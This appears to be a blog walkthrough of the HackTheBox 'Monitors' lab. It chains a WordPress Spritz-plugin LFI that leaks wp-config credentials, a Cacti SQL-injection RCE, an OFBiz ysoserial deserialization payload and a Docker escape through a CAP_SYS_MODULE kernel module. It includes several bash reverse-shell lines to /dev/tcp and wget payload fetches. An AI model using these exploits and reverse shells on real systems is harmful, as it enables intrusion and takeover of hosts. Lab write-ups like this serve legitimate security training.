HackTheBox Walkthrough : Monitors

We’ll look at another one of HackTheBox machines today, called “Monitors”. In this lab we are going to exploit WordPress CMS , WordPress is a free and open-source content management system written in PHP and paired with a MySQL or MariaDB database .

Level : Hard

Attacking Strategy

  • Network Scanning
    • Nmap
  • Enumeration
    • WordPress Enumeration using WPscan
    • Abusing WordPress Plugin Spritz (LFI)
    • Information Leakage
  • Exploitation
    • Cacti 1.2.12 SQL-RCE Exploitation
  • Privilege Escalation
    • Credential Enumeration
    • Port Forwarding
    • Apache OFBiz 17.12.01 Exploitation
    • Docker Container Escape
  • Final Root

Walkthrough

IP Address : 10.10.10.238

We start with nmap scan which reveals the running service on target in this case port 80 and port 22 is open.

nmap -p- -sC -sV --min-rate 10000 -oN nmap 10.10.10.238
Nmap scan report for 10.10.10.238
Host is up (0.086s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

From the nmap result we got some information like the running operating system is Linux , on Port 80 there is Apache 2.3.29 is running on . As there no other UDP ports are open so we start enumerating the Port 80 and when we make a visit on port 80 there is message i.e No direct access is allowed .

So we simply add the monitors.htb into our hosts file under /etc/hosts .

Enumeration

After visiting monitors.htb we get to know i.e WordPress CMS is hosted on the server which create a path as now we have some weight on which we can work .

So without waiting we just fire WPScan tool for enumeration of website like installed plugins , themes , users ,etc . In latest update with wpscan you have to register at WPVulnDB and get the API value .

wpscan --url "http://monitors.htb/" -e at -e ap --api-token <api-token>

Wpscan show lots of vulnerability in which one vulnerability related to installed plugin know as spritz .After reading the exploit from exploit-db we came to know about LFI vulnerability ,Exploiting this issue may allow us to obtain some sensitive information .

http://monitors.htb//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

Here we have user called “Marcus” we try to read some other files like user ssh key , shadow files but nothing in our hand after trying some enumeration we get the web-config.php in which some credentials are stored in plane text .

http://monitors.htb/wp-content/plugins//wp-with-spritz/wp.spritz.content.filter.php?url=../../../wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wpadmin' );

/** MySQL database password */
define( 'DB_PASSWORD', '[email protected]!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'KkY%[email protected]>T}4CKTw5{.n_j3bywoB0k^|OKX0{}5|UqZ2!VH!^uWKJ.O oROc,h pp:' );
define( 'SECURE_AUTH_KEY',  '*MHA-~<-,*^$raDR&uxP)k(~`k/{PRT(6JliOO9XnYYbFU?Xmb#9USEjmgeHYYpm' );
define( 'LOGGED_IN_KEY',    ')F6L,A23Tbr9yhrhbgjDHJPJe?sCsDzDow-$E?zYCZ3*f40LSCIb] E%[email protected]/' );
define( 'NONCE_KEY',        'g?vl(p${jG`JvDxVw-]#oUyd+uvFRO1tAUZQG_sGg&Q7O-*tF[KIe$weE^$bB3%C' );
define( 'AUTH_SALT',        '8>PIil3 7re_:[email protected]^8Zh|p^I8rwT}WpVr5|t^ih05A:]xjTA,UVXa8ny:b--/[Jk' );
define( 'SECURE_AUTH_SALT', 'dN c^]m:4O|GyOK50hQ1tumg4<JYlD2-,r,oq7GDjq4M Ri:x]Bod5L.S&.hEGfv' );
define( 'LOGGED_IN_SALT',   'tCWVbTcE*_T_}X3#t+:)>N+D%?vVAIw#!*&OK78M[@ YT0q):G~A:hTv`bO<,|68' );
define( 'NONCE_SALT',       'sa>i39)9<vVyhE3auBVzl%=p23NJbl&)*.{`<*>;R2=QHqj_a.%({D4yI-sy]D8,' );

/**#@-*/

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

From config file credentials we try to make SSH login with Marcus but failed we also try to access the administrator account of WordPress but again nothing . Again enumeration start for another files from the nmap result we know there is Apache running on target so we try to get some config file for Apache and we got one .

http://monitors.htb/wp-content/plugins//wp-with-spritz/wp.spritz.content.filter.php?url=/etc/apache2/sites-available/000-default.conf
# Default virtual host settings
# Add monitors.htb.conf
# Add cacti-admin.monitors.htb.conf

<VirtualHost *:80>
	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	#ServerName www.example.com

	ServerAdmin [email protected]
	DocumentRoot /var/www/html
	Redirect 403 /
	ErrorDocument 403 "Sorry, direct IP access is not allowed. <br><br>If you are having issues accessing the site then contact the website administrator: [email protected]"
	UseCanonicalName Off
	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf
</VirtualHost>

There is one more domain listed in config called “cacti-admin.monitors.htb” so we simply add it to our hosts file and then visit to it .

Another website on which cacti 1.2.12 is hosted so we simply google for it and what we got is incredible from google results this version is vulnerable to SQL with RCE .

Exploitation

So we simply download the exploit but to work with exploit we need valid credentials so we simply try the password which we got from wpconfig and it worked.

python3 49810.py -t http://cacti-admin.monitors.htb -u admin -p [email protected]! --lhost 10.10.14.32 --lport 4444

We are in the server , got www-data privilege its time to reach root power so we enumerate the servers.

Privilege Escalation

While enumeration we check lot of checkpoints like SUID Bit , SUDOers ,etc but nothing , here for sometime we stuck but after sometime while enumerating for backup stuff we got something cool.We got some backup service file in which some password is stored in plane text.

find / -type f -name *backup* 2>/dev/null
cat /lib/systemd/system/cacti-backup.service
cat /home/marcus/.backup/backup.sh 

Once we get the password we try to ssh on server with Marcus user “marcus:VerticalEdge2020” and we are in.

ssh [email protected] 
<VerticalEdge2020>

Now again enumeration journey start while enumerating we get to know about docker as there is note.txt file is there and from network interface its confirmed that docker is on server .So we start enumerating docker process but nothing.

After sometime we see the local services which are running on server one is on port 3306 which is by default used by database but one port is also open on 8443 which look interesting .so we simply done the SSH local port forwarding on port 8443.

netstat -tlnp
ssh -L 8443:127.0.0.1:8443 [email protected]

Its Tomcat server 9.0.31 404 page so we enumerate for content discovery using feroxbuster which reveals some hidden path like images , catalog , content , common , and much more .

feroxbuster -u https://127.0.0.1:8443/ -k 

Content path look interesting so we simply navigate to it and its OFbiz 17.12.01 which is vulnerable to RCE you can check it out on GitHub.

After reading the POC we need to create shellcode so that we simply put reverse shell code and run the Python Server.

#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/10.10.14.32/6666 <&1'

Next thing is to create the payload for which we need “ysoserial” which you can get from GitHub.

wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsBeanutils1 "wget 10.10.14.32:8000/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"

Once the payload is generated all you have to make the change in burp request and as you can see 200 HTTP code which is success code and we also check our server and one request come which confirms that our payload is successfully uploaded all now we have to run it.

Note : Make sure you config your burp suite to capture request and make changes.

POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

Now its time to launch our shell so we again generate the payload

java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsBeanutils1 "/bin/bash /tmp/shell.sh" | base64 | tr -d "\n"

Finally we got root but not on host this is a container root shell means we are in docker container all we have to figure out how to escape this room . As previous experiences we can check for capabilities and if there is SYS_MODULE capability, the container can insert/remove kernel modules in/from the kernel of the Docker host machine. For more you can check references .

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=

All we have to create shellcode and makefile and transfer it docker container then compile and run .

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.32/4445 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
obj-m +=reverse.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
wget http://10.10.14.32:8000/reverse.c
wget http://10.10.14.32:8000/Makefile
make

Make the kernel module,idea here is to compile this kernel module (reverse.ko) into the kernel of the Docker host machine.

insmod reverse.ko 

Finally we got the shell and collect the flags .

References

Leave a Comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.